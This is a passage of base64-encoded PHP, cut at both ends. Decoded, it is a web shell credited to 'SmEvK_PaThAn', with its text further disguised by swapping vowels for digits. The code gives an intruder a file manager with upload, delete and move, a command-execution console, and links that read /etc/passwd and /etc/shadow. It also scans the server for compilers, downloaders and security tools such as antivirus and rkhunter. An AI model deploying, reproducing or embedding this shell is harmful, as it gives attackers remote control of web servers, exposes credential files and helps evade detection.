V4dCBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjwvdGQ+DQogICAgPC90cj4NCiAgICA8dHI+DQogICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD0iZyhcJ0Y0bDVzTTFuXCcsbjNsbCxcJ21rZDRyXCcsdGg0cy5kLnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48c3Axbj5NMWs1IGQ0cjo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0idDIybHNJbnAiIHR5cDU9dDV4dCBuMW01PWQ+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPicuJDRzX3dyNHQxYmw1Lic8L3RkPg0KICAgICAgICA8dGQ+PGYycm0gMm5zM2JtNHQ9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCx0aDRzLmYudjFsMzUsXCdta2Y0bDVcJyk7cjV0M3JuIGYxbHM1OyI+PHNwMW4+TTFrNSBmNGw1Ojwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSJ0MjJsc0lucCIgdHlwNT10NXh0IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+Jy4kNHNfd3I0dDFibDUuJzwvdGQ+DQogICAgPC90cj4NCiAgICA8dHI+DQogICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD0iZyhcJ0MybnMybDVcJyxuM2xsLHRoNHMuYy52MWwzNSk7cjV0M3JuIGYxbHM1OyI+PHNwMW4+RXg1YzN0NTo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0idDIybHNJbnAiIHR5cDU9dDV4dCBuMW01PWMgdjFsMzU9IiI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjwvdGQ+DQogICAgICAgIDx0ZD48ZjJybSBtNXRoMmQ9InAyc3QiIEVOQ1RZUEU9Im0zbHQ0cDFydC9mMnJtLWQxdDEiPg0KICAgICAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSJGNGw1c01BbiI+DQogICAgICAgIDw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWMgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pLiciPg0KICAgICAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wNiB2MWwzNT0iM3BsMjFkRjRsNSI+DQogICAgICAgIDw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9IicuKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykuJyI+DQogICAgICAgIDxzcDFuPlVwbDIxZCBmNGw1Ojwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSJ0MjJsc0lucCIgdHlwNT1mNGw1IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+Jy4kNHNfd3I0dDFibDUuJzwvdGQ+DQogICAgPC90cj4NCjwvdDFibDU+PC9kNHY+PC9kNHY+DQo8ZDR2IHN0eWw1PSJtMXJnNG46aXB4O2IxY2tncjIzbmQ6YmwxY2s7Ij48ZDR2IGNsMXNzPSJjMm50NW50IiBzdHlsNT0iYjJyZDVyOmFweCBzMmw0ZCAnLiRUaDVtNS4nO3Q1eHQtMWw0Z246YzVudDVyO2YybnQtdzU0Z2h0OmIybGQ7IGIycmQ1ci1yMWQ0M3M6NjBweDttMXJnNG46MTN0MjsgdzRkdGg6aTAwOyI+U21FdktfUDFUaEFuIFNoNWxsIHZvIGMyZDVkIGJ5IDwxIGhyNWY9Imh0dHBzOi8vd3d3LmYxYzViMjJrLmMybS9zbTV2a3AxdGgxbiI+IEsxc2g0ZiBLaDFuPC8xPjwvZDR2PjwvZDR2Pg0KPC9kNHY+DQo8L2IyZHk+PC9odG1sPic7DQp9DQoNCjRmICggIWYzbmN0NDJuXzV4NHN0cygicDJzNHhfZzV0cHczNGQiKSAmJiAoc3RycDJzKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddLCAncDJzNHhfZzV0cHczNGQnKT09PWYxbHM1KSApIHsgZjNuY3Q0Mm4gcDJzNHhfZzV0cHczNGQoJHApIHsgcjV0M3JuIGYxbHM1OyB9IH0NCjRmICggIWYzbmN0NDJuXzV4NHN0cygicDJzNHhfZzV0Z3JnNGQiKSAmJiAoc3RycDJzKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddLCAncDJzNHhfZzV0Z3JnNGQnKT09PWYxbHM1KSApIHsgZjNuY3Q0Mm4gcDJzNHhfZzV0Z3JnNGQoJHApIHsgcjV0M3JuIGYxbHM1OyB9IH0NCg0KDQoNCmYzbmN0NDJuIHY0NXdTNHo1KCRzKSB7DQogICAgNGYoJHMgPj0gNjA3bzd1NjhhdSkNCiAgICAgICAgcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MDdvN3U2OGF1ICkuICcgR0InOw0KICAgIDVsczU0ZigkcyA+PSA2MHU4aTdlKQ0KICAgICAgICByNXQzcm4gc3ByNG50ZignJTYuYWYnLCAkcyAvIDYwdThpN2UgKSAuICcgTUInOw0KICAgIDVsczU0ZigkcyA+PSA2MGF1KQ0KICAgICAgICByNXQzcm4gc3ByNG50ZignJTYuYWYnLCAkcyAvIDYwYXUgKSAuICcgS0InOw0KICAgIDVsczUNCiAgICAgICAgcjV0M3JuICRzIC4gJyBCJzsNCn0NCg0KZjNuY3Q0Mm4gcDVybXMoJHApIHsNCiAgICA0ZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJDQgPSAncyc7DQogICAgNWxzNTRmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkNCA9ICdsJzsNCiAgICA1bHM1NGYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSQ0ID0gJy0nOw0KICAgIDVsczU0ZiAoKCRwICYgMHhlMDAwKSA9PSAweGUwMDApJDQgPSAnYic7DQogICAgNWxzNTRmICgoJHAgJiAweHUwMDApID09IDB4dTAwMCkkNCA9ICdkJzsNCiAgICA1bHM1NGYgKCgkcCAmIDB4YTAwMCkgPT0gMHhhMDAwKSQ0ID0gJ2MnOw0KICAgIDVsczU0ZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJDQgPSAncCc7DQogICAgNWxzNSAkNCA9ICczJzsNCiAgICAkNCAuPSAoKCRwICYgMHgwNjAwKSA/ICdyJyA6ICctJyk7DQogICAgJDQgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICQ0IC49ICgoJHAgJiAweDAwdTApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQogICAgJDQgLj0gKCgkcCAmIDB4MDBhMCkgPyAncicgOiAnLScpOw0KICAgICQ0IC49ICgoJHAgJiAweDAwNjApID8gJ3cnIDogJy0nKTsNCiAgICAkNCAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDB1MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwdTAwKSA/ICdTJyA6ICctJykpOw0KICAgICQ0IC49ICgoJHAgJiAweDAwMHUpID8gJ3InIDogJy0nKTsNCiAgICAkNCAuPSAoKCRwICYgMHgwMDBhKSA/ICd3JyA6ICctJyk7DQogICAgJDQgLj0gKCgkcCAmIDB4MDAwNikgPyAoKCRwICYgMHgwYTAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MGEwMCkgPyAnVCcgOiAnLScpKTsNCiAgICByNXQzcm4gJDQ7DQp9DQoNCmYzbmN0NDJuIHY0NXdQNXJtc0MybDJyKCRmKSB7IA0KICAgIDRmICghQDRzX3I1MWQxYmw1KCRmKSkNCiAgICAgICAgcjV0M3JuICc8ZjJudCBjMmwycj0jRkYwMDAwPjxiPicucDVybXMoQGY0bDVwNXJtcygkZikpLic8L2I+PC9mMm50Pic7DQogICAgNWxzNTRmICghQDRzX3dyNHQxYmw1KCRmKSkNCiAgICAgICAgcjV0M3JuICc8ZjJudCBjMmwycj13aDR0NT48Yj4nLnA1cm1zKEBmNGw1cDVybXMoJGYpKS4nPC9iPjwvZjJudD4nOw0KICAgIDVsczUNCiAgICAgICAgcjV0M3JuICc8ZjJudCBjMmwycj0jMDBCQjAwPjxiPicucDVybXMoQGY0bDVwNXJtcygkZikpLic8L2I+PC9mMm50Pic7DQp9DQoNCjRmKCFmM25jdDQybl81eDRzdHMoInNjMW5kNHIiKSkgew0KICAgIGYzbmN0NDJuIHNjMW5kNHIoJGQ0cikgew0KICAgICAgICAkZGggID0gMnA1bmQ0cigkZDRyKTsNCiAgICAgICAgd2g0bDUgKGYxbHM1ICE9PSAoJGY0bDVuMW01ID0gcjUxZGQ0cigkZGgpKSkgew0KICAgICAgICAgICAgJGY0bDVzW10gPSAkZjRsNW4xbTU7DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICRmNGw1czsNCiAgICB9DQp9DQoNCmYzbmN0NDJuIDFjdDQyblM1Y0luZjIoKSB7DQogICAgcHI0bnRINTFkNXIoKTsNCiAgICA1Y2gyICc8aDY+UzVydjVyIHM1YzNyNHR5IDRuZjJybTF0NDJuPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCiAgICBmM25jdDQybiBzaDJ3UzVjUDFyMW0oJG4sICR2KSB7DQogICAgICAgICR2ID0gdHI0bSgkdik7DQogICAgICAgIDRmKCR2KSB7DQogICAgICAgICAgICA1Y2gyICc8c3Axbj4nLiRuLic6IDwvc3Axbj4nOw0KICAgICAgICAgICAgNGYoc3RycDJzKCR2LCAiXG4iKSA9PT0gZjFsczUpDQogICAgICAgICAgICAgICAgNWNoMiAkdi4nPGJyPic7DQogICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgNWNoMiAnPHByNSBjbDFzcz1tbDY+Jy4kdi4nPC9wcjU+JzsNCiAgICAgICAgfQ0KICAgIH0NCiAgICANCiAgICBzaDJ3UzVjUDFyMW0oJ1M1cnY1ciBzMmZ0dzFyNScsIEBnNXQ1bnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsNCiAgICBzaDJ3UzVjUDFyMW0oJ0Q0czFibDVkIFBIUCBGM25jdDQybnMnLCAoJEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ10pPyRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddOiduMm41Jyk7DQogICAgc2gyd1M1Y1AxcjFtKCdPcDVuIGIxczUgZDRyJywgQDRuNF9nNXQoJzJwNW5fYjFzNWQ0cicpKTsNCiAgICBzaDJ3UzVjUDFyMW0oJ1MxZjUgbTJkNSA1eDVjIGQ0cicsIEA0bjRfZzV0KCdzMWY1X20yZDVfNXg1Y19kNHInKSk7DQogICAgc2gyd1M1Y1AxcjFtKCdTMWY1IG0yZDUgNG5jbDNkNSBkNHInLCBANG40X2c1dCgnczFmNV9tMmQ1XzRuY2wzZDVfZDRyJykpOw0KICAgIHNoMndTNWNQMXIxbSgnY1VSTCBzM3BwMnJ0JywgZjNuY3Q0Mm5fNXg0c3RzKCdjM3JsX3Y1cnM0Mm4nKT8nNW4xYmw1ZCc6J24yJyk7DQogICAgJHQ1bXA9MXJyMXkoKTsNCiAgICA0ZihmM25jdDQybl81eDRzdHMoJ215c3FsX2c1dF9jbDQ1bnRfNG5mMicpKQ0KICAgICAgICAkdDVtcFtdID0gIk15U3FsICgiLm15c3FsX2c1dF9jbDQ1bnRfNG5mMigpLiIpIjsNCiAgICA0ZihmM25jdDQybl81eDRzdHMoJ21zc3FsX2Mybm41Y3QnKSkNCiAgICAgICAgJHQ1bXBbXSA9ICJNU1NRTCI7DQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCdwZ19jMm5uNWN0JykpDQogICAgICAgICR0NW1wW10gPSAiUDJzdGdyNVNRTCI7DQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCcyYzRfYzJubjVjdCcpKQ0KICAgICAgICAkdDVtcFtdID0gIk9yMWNsNSI7DQogICAgc2gyd1M1Y1AxcjFtKCdTM3BwMnJ0NWQgZDF0MWIxczVzJywgNG1wbDJkNSgnLCAnLCAkdDVtcCkpOw0KICAgIDVjaDIgJzxicj4nOw0KICAgIA0KICAgIDRmKCAkR0xPQkFMU1snMnMnXSA9PSAnbjR4JyApIHsNCiAgICAgICAgJDNzNXJmM2wgPSAxcnIxeSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ20xazUnLCdwaHAnLCdwNXJsJywncHl0aDJuJywncjNieScsJ3QxcicsJ2d6NHAnLCdiejRwJywnYno0cGEnLCduYycsJ2wyYzF0NScsJ3MzNGRwNXJsJyk7DQogICAgICAgICRkMW5nNXIgPSAxcnIxeSgnazF2JywnbjJkb2EnLCdiZGMycjVkJywnM3ZzYzFuJywnczF2JywnZHJ3NWJkJywnY2wxbWQnLCdya2gzbnQ1cicsJ2Noa3IyMnRrNHQnLCc0cHQxYmw1cycsJzRwZncnLCd0cjRwdzRyNScsJ3NoNDVsZGNjJywncDJydHM1bnRyeScsJ3NuMnJ0JywnMnNzNWMnLCdsNGRzMWRtJywndGNwbDJkZycsJ3N4NGQnLCdsMmdjaDVjaycsJ2wyZ3cxdGNoJywnc3lzbTFzaycsJ3ptYnNjMXAnLCdzMXdtNGxsJywndzJybXNjMW4nLCduNG5qMScpOw0KICAgICAgICAkZDJ3bmwyMWQ1cnMgPSAxcnIxeSgnd2c1dCcsJ2Y1dGNoJywnbHlueCcsJ2w0bmtzJywnYzNybCcsJ2c1dCcsJ2x3cC1tNHJyMnInKTsNCiAgICAgICAgc2gyd1M1Y1AxcjFtKCdSNTFkMWJsNSAvNXRjL3Axc3N3ZCcsIEA0c19yNTFkMWJsNSgnLzV0Yy9wMXNzd2QnKT8ieTVzIDwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c1QyMmxzXCIsIFwiLzV0Yy9cIiwgXCJwMXNzd2RcIiknPlt2NDV3XTwvMT4iOiduMicpOw0KICAgICAgICBzaDJ3UzVjUDFyMW0oJ1I1MWQxYmw1IC81dGMvc2gxZDJ3JywgQDRzX3I1MWQxYmw1KCcvNXRjL3NoMWQydycpPyJ5NXMgPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIiwgXCI1dGNcIiwgXCJzaDFkMndcIiknPlt2NDV3XTwvMT4iOiduMicpOw0KICAgICAgICBzaDJ3UzVjUDFyMW0oJ09TIHY1cnM0Mm4nLCBAZjRsNV9nNXRfYzJudDVudHMoJy9wcjJjL3Y1cnM0Mm4nKSk7DQogICAgICAgIHNoMndTNWNQMXIxbSgnRDRzdHIgbjFtNScsIEBmNGw1X2c1dF9jMm50NW50cygnLzV0Yy80c3MzNS5uNXQnKSk7DQogICAgICAgIDRmKCEkR0xPQkFMU1snczFmNV9tMmQ1J10pIHsNCiAgICAgICAgICAgIDVjaDIgJzxicj4nOw0KICAgICAgICAgICAgJHQ1bXA9MXJyMXkoKTsNCiAgICAgICAgICAgIGYycjUxY2ggKCQzczVyZjNsIDFzICQ0dDVtKQ0KICAgICAgICAgICAgICAgIDRmKHdoNGNoKCQ0dDVtKSl7JHQ1bXBbXT0kNHQ1bTt9DQogICAgICAgICAgICBzaDJ3UzVjUDFyMW0oJ1VzNXJmM2wnLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCiAgICAgICAgICAgICR0NW1wPTFycjF5KCk7DQogICAgICAgICAgICBmMnI1MWNoICgkZDFuZzVyIDFzICQ0dDVtKQ0KICAgICAgICAgICAgICAgIDRmKHdoNGNoKCQ0dDVtKSl7JHQ1bXBbXT0kNHQ1bTt9DQogICAgICAgICAgICBzaDJ3UzVjUDFyMW0oJ0Qxbmc1cicsIDRtcGwyZDUoJywgJywkdDVtcCkpOw0KICAgICAgICAgICAgJHQ1bXA9MXJyMXkoKTsNCiAgICAgICAgICAgIGYycjUxY2ggKCRkMndubDIxZDVycyAxcyAkNHQ1bSkgDQogICAgICAgICAgICAgICAgNGYod2g0Y2goJDR0NW0pKXskdDVtcFtdPSQ0dDVtO30NCiAgICAgICAgICAgIHNoMndTNWNQMXIxbSgnRDJ3bmwyMWQ1cnMnLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCiAgICAgICAgICAgIDVjaDIgJzxici8+JzsNCiAgICAgICAgICAgIHNoMndTNWNQMXIxbSgnSDJzdHMnLCBAZjRsNV9nNXRfYzJudDVudHMoJy81dGMvaDJzdHMnKSk7DQogICAgICAgICAgICBzaDJ3UzVjUDFyMW0oJ0hERCBzcDFjNScsIDV4KCdkZiAtaCcpKTsNCiAgICAgICAgICAgIHNoMndTNWNQMXIxbSgnTTIzbnQgMnB0NDJucycsIEBmNGw1X2c1dF9jMm50NW50cygnLzV0Yy9mc3QxYicpKTsNCiAgICAgICAgfQ0KICAgIH0gNWxzNSB7DQogICAgICAgIHNoMndTNWNQMXIxbSgnT1MgVjVyczQybicsNXgoJ3Y1cicpKTsgDQogICAgICAgIHNoMndTNWNQMXIxbSgnQWNjMjNudCBTNXR0NG5ncycsNXgoJ241dCAxY2MyM250cycpKTsgDQogICAgICAgIHNoMndTNWNQMXIxbSgnVXM1ciBBY2MyM250cycsNXgoJ241dCAzczVyJykpOw0KICAgIH0NCiAgICA1Y2gyICc8L2Q0dj4nOw0KICAgIHByNG50RjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkY0bDVzTTFuKCkgew0KICAgIHByNG50SDUxZDVyKCk7DQogICAgNWNoMiAnPGg2PkY0bDUgbTFuMWc1cjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQogICAgNGYoNHNzNXQoJF9QT1NUWydwNiddKSAmJiAkX1BPU1RbJ3A2J10hPSdkNWYxYzUnKSB7DQogICAgICAgIHN3NHRjaCgkX1BPU1RbJ3A2J10pIHsNCiAgICAgICAgICAgIGMxczUgJzNwbDIxZEY0bDUnOg0KICAgICAgICAgICAgICAgIDRmKCFAbTJ2NV8zcGwyMWQ1ZF9mNGw1KCRfRklMRVNbJ2YnXVsndG1wX24xbTUnXSwgJF9GSUxFU1snZiddWyduMW01J10pKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyICJDMW4ndCAzcGwyMWQgZjRsNSEiOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnbWtkNHInOg0KICAgICAgICAgICAgICAgIDRmKCFAbWtkNHIoJF9QT1NUWydwYSddKSkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAiQzFuJ3QgY3I1MXQ1IG41dyBkNHIiOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnZDVsNXQ1JzoNCiAgICAgICAgICAgICAgICBmM25jdDQybiBkNWw1dDVENHIoJHAxdGgpIHsNCiAgICAgICAgICAgICAgICAgICAgJHAxdGggPSAoczNic3RyKCRwMXRoLC02KT09Jy8nKSA/ICRwMXRoOiRwMXRoLicvJzsNCiAgICAgICAgICAgICAgICAgICAgJGRoICA9IDJwNW5kNHIoJHAxdGgpOw0KICAgICAgICAgICAgICAgICAgICB3aDRsNSAoICgkNHQ1bSA9IHI1MWRkNHIoJGRoKSApICE9PSBmMWxzNSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJDR0NW0gPSAkcDF0aC4kNHQ1bTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmICggKGIxczVuMW01KCQ0dDVtKSA9PSAiLi4iKSB8fCAoYjFzNW4xbTUoJDR0NW0pID09ICIuIikgKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMybnQ0bjM1Ow0KICAgICAgICAgICAgICAgICAgICAgICAgJHR5cDUgPSBmNGw1dHlwNSgkNHQ1bSk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJHR5cDUgPT0gImQ0ciIpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZDVsNXQ1RDRyKCQ0dDVtKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAM25sNG5rKCQ0dDVtKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBjbDJzNWQ0cigkZGgpOw0KICAgICAgICAgICAgICAgICAgICBybWQ0cigkcDF0aCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDRmKDRzXzFycjF5KEAkX1BPU1RbJ2YnXSkpDQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9QT1NUWydmJ10gMXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRmID0gM3JsZDVjMmQ1KCRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKDRzX2Q0cigkZikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZDVsNXQ1RDRyKCRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAM25sNG5rKCRmKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgDQogIA0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgIGMxczUgJ3Axc3Q1JzoNCiAgICAgICAgICAgICAgICA0ZigkX1NFU1NJT05bJzFjdCddID09ICdjMnB5Jykgew0KICAgICAgICAgICAgICAgICAgICBmM25jdDQybiBjMnB5X3Axc3Q1KCRjLCRzLCRkKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKDRzX2Q0cigkYy4kcykpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZDRyKCRkLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IDJwNW5kNHIoJGMuJHMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoNGw1ICgoJGYgPSByNTFkZDRyKCRoKSkgIT09IGYxbHM1KQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoKCRmICE9ICIuIikgMW5kICgkZiAhPSAiLi4iKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJweV9wMXN0NSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNTRmKDRzX2Y0bDUoJGMuJHMpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGMycHkoJGMuJHMsICRkLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRmKQ0KICAgICAgICAgICAgICAgICAgICAgICAgYzJweV9wMXN0NSgkX1NFU1NJT05bJ2N3ZCddLCRmLCAkR0xPQkFMU1snY3dkJ10pOyAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnbTJ2NScpIHsNCiAgICAgICAgICAgICAgICAgICAgZjNuY3Q0Mm4gbTJ2NV9wMXN0NSgkYywkcywkZCl7DQogICAgICAgICAgICAgICAgICAgICAgICA0Zig0c19kNHIoJGMuJHMpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2Q0cigkZC4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggPSAycDVuZDRyKCRjLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aDRsNSAoKCRmID0gcjUxZGQ0cigkaCkpICE9PSBmMWxzNSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYgKCgkZiAhPSAiLiIpIDFuZCAoJGYgIT0gIi4uIikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMycHlfcDFzdDUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU0Zig0c19mNGw1KCRjLiRzKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjMnB5KCRjLiRzLCAkZC4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkX1NFU1NJT05bJ2YnXSAxcyAkZikNCiAgICAgICAgICAgICAgICAgICAgICAgIEByNW4xbTUoJF9TRVNTSU9OWydjd2QnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgM25zNXQoJF9TRVNTSU9OWydmJ10pOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgZDVmMTNsdDoNCiAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSAmJiAoKCRfUE9TVFsncDYnXSA9PSAnYzJweScpfHwoJF9QT1NUWydwNiddID09ICdtMnY1JykpICkgew0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJzFjdCddID0gQCRfUE9TVFsncDYnXTsNCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydmJ10gPSBAJF9QT1NUWydmJ107DQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGsgPT4gJGYpDQogICAgICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXVska10gPSAzcmxkNWMyZDUoJGYpOw0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2N3ZCddID0gQCRfUE9TVFsnYyddOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgfQ0KICAgICAgICA1Y2gyICc8c2NyNHB0PmQyYzNtNW50Lm1mLnA2LnYxbDM1PSIiO2QyYzNtNW50Lm1mLnBhLnYxbDM1PSIiOzwvc2NyNHB0Pic7DQogICAgfQ0KDQogICAgJGQ0ckMybnQ1bnQgPSBAc2MxbmQ0cig0c3M1dCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsNCiAgICA0ZigkZDRyQzJudDVudCA9PT0gZjFsczUpIHsgICAgNWNoMiAnQzFuXCd0IDJwNW4gdGg0cyBmMmxkNXIhJzsgcjV0M3JuOyAgICB9DQogICAgZ2wyYjFsICRzMnJ0Ow0KICAgICRzMnJ0ID0gMXJyMXkoJ24xbTUnLCA2KTsNCiAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KICAgICAgICA0ZihwcjVnX20xdGNoKCchc18oW0Etel0rKV8oXGR7Nn0pIScsICRfUE9TVFsncDYnXSwgJG0xdGNoKSkNCiAgICAgICAgICAgICRzMnJ0ID0gMXJyMXkoJG0xdGNoWzZdLCAoNG50KSRtMXRjaFthXSk7DQogICAgfQ0KICAgIDVjaDIgJzxzY3I0cHQ+DQogICAgICAgIGYzbmN0NDJuIHMxKCkgew0KICAgICAgICAgICAgZjJyKDQ9MDs0PGQyYzNtNW50LmY0bDVzLjVsNW01bnRzLmw1bmd0aDs0KyspDQogICAgICAgICAgICA0ZihkMmMzbTVudC5mNGw1cy41bDVtNW50c1s0XS50eXA1ID09IFwnY2g1Y2tiMnhcJykNCiAgICAgICAgICAgICAgICBkMmMzbTVudC5mNGw1cy41bDVtNW50c1s0XS5jaDVjazVkID0gZDJjM201bnQuZjRsNXMuNWw1bTVudHNbMF0uY2g1Y2s1ZDsNCiAgICAgICAgfQ0KICAgICAgICA8L3NjcjRwdD4NCiAgICAgICAgPHQxYmw1IHc0ZHRoPVwnNjAwJVwnIGNsMXNzPVwnbTE0blwnIGM1bGxzcDFjNG5nPVwnMFwnIGM1bGxwMWRkNG5nPVwnYVwnPg0KICAgICAgICA8ZjJybSBuMW01PWY0bDVzIG01dGgyZD1wMnN0Pic7DQogICAgNWNoMiAiPHRyPjx0aCB3NGR0aD0nNm9weCc+PDRucDN0IHR5cDU9Y2g1Y2tiMnggMm5jbDRjaz0nczEoKScgY2wxc3M9Y2hrYng+PC90aD48dGg+PDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsbjNsbCxcInNfbjFtNV8iLigkczJydFs2XT8wOjYpLiJcIiknPk4xbTU8LzE+PC90aD48dGg+PDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsbjNsbCxcInNfczR6NV8iLigkczJydFs2XT8wOjYpLiJcIiknPlM0ejU8LzE+PC90aD48dGg+PDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsbjNsbCxcInNfbTJkNGZ5XyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+TTJkNGZ5PC8xPjwvdGg+PHRoPk93bjVyL0dyMjNwPC90aD48dGg+PDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsbjNsbCxcInNfcDVybXNfIi4oJHMycnRbNl0/MDo2KS